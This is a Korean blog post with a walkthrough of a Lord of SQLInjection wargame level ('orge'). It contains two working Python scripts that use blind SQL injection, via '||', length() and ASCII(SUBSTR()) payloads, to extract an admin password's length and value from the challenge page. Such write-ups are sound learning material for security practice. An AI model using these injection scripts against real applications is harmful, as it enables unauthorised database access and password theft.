Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- graphql
- 잠실새내
- apollo react native
- 토라비
- 운정 소바동
- graphql react native
- graphql 400
- 신촌 소문난집
- apolloclient
- 화이트 해커를 위한 웹 해킹의 기술
- 홍대 카페 장쌤
- 홍대 예술
- 홍대 토라비
- 고르드
- typescript
- 비동기배열
- 잠실새내 도그존
- 앙버터마카롱
- graphql with reactnative
- 예쁜술집 예술
- 도그존
- graphql with RN
- promise처리
- 금별맥주
- 지보싶 신촌점
- useMutation error
- promise메서드
- 비동기배열처리방법
- graphql mutation error
- 화이트해커를 위한 웹 해킹의 기술
Archives
- Today
- Total
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
LOS 7번 풀이 (orge) 본문
이번에는 or과 and를 사용하지 못하게 하고 있다.
또, SQL 쿼리문이 2개가 보이는데, 하나는 id='guest'이고, 나머지 하나는 id='admin'이다.
pw를 전달하면 1번째 쿼리문을 실행하고 같은 pw 값으로 2번째 쿼리문까지 실행한다.
solve는 입력한 pw와 id='admin'의 pw가 같을 때 실행되고
addslashes로 인해 쿼리문은 전달되지 않아 정확한 admin의 pw를 파라미터로 전달해야한다.
id가 존재할 때 Hello+id가 화면에 출력되는 것을 이용해 Blind SQL injection 공격을 통해 admin의 pw길이와 pw를 순서대로 알아내보자
우선 admin의 pw 길이를 얻는 코드는 다음과 같다. (python)
import string
import requests
my_cookies=dict(PHPSESSID="r5th9ok3t20e580ht6srosm6gq") #쿠키 값
idLength=0
url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw='||"
#abc=string.digits + string.ascii_letters
print("Start Blind attack")
while(1):
idLength +=1
param="length(pw)="+str(idLength)+"%23"
new_url=url+param
res=requests.get(new_url,cookies=my_cookies)
if res.text.find("Hello admin") > 0:
break
print("password length is: "+str(idLength))
실행시키면 다음과 같은 결과가 나온다.
id='admin'인 사용자의 pw 길이는 8이다.
한번 페이지에서 확인해보자
이제 pw 길이를 알았으니 pw를 얻어내보자
import string
import requests
my_cookies=dict(PHPSESSID="qp4susl9al64mjpmu6950ubdhm") #쿠키 값
idLength=8
url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=' || "
abc=string.digits + string.ascii_letters
print("Start Blind attack")
result=""
for i in range(1,idLength+1):
for a in abc:
param="ASCII(SUBSTR(pw,"+str(i)+",1))="+str(ord(a))+"%23"
new_url=url+param
res=requests.get(new_url,cookies=my_cookies)
if res.text.find("Hello admin") > 0:
print(str(i)+"번째 char is :" + a)
result += a
break
print("result:"+result)
실행결과는 다음과 같다.
id='admin'인 사용자의 pw는 7b751aec이다.
이제 이 pw를 URL을 통해 전달해주자.
?pw=7b751aec
'wargame 풀이 > LOS' 카테고리의 다른 글
LOS 10번 풀이 (skeleton) (0) | 2020.10.14 |
---|---|
LOS 8~9번 풀이 (troll, vampire) (0) | 2020.10.09 |
LOS 5~6번 풀이 (wolfman,darkelf) (0) | 2020.10.05 |
LOS 4번 풀이 (orc) (0) | 2020.10.04 |
LOS 1~3번 풀이 (gremlin, cobolt, goblin) (0) | 2020.10.04 |
Comments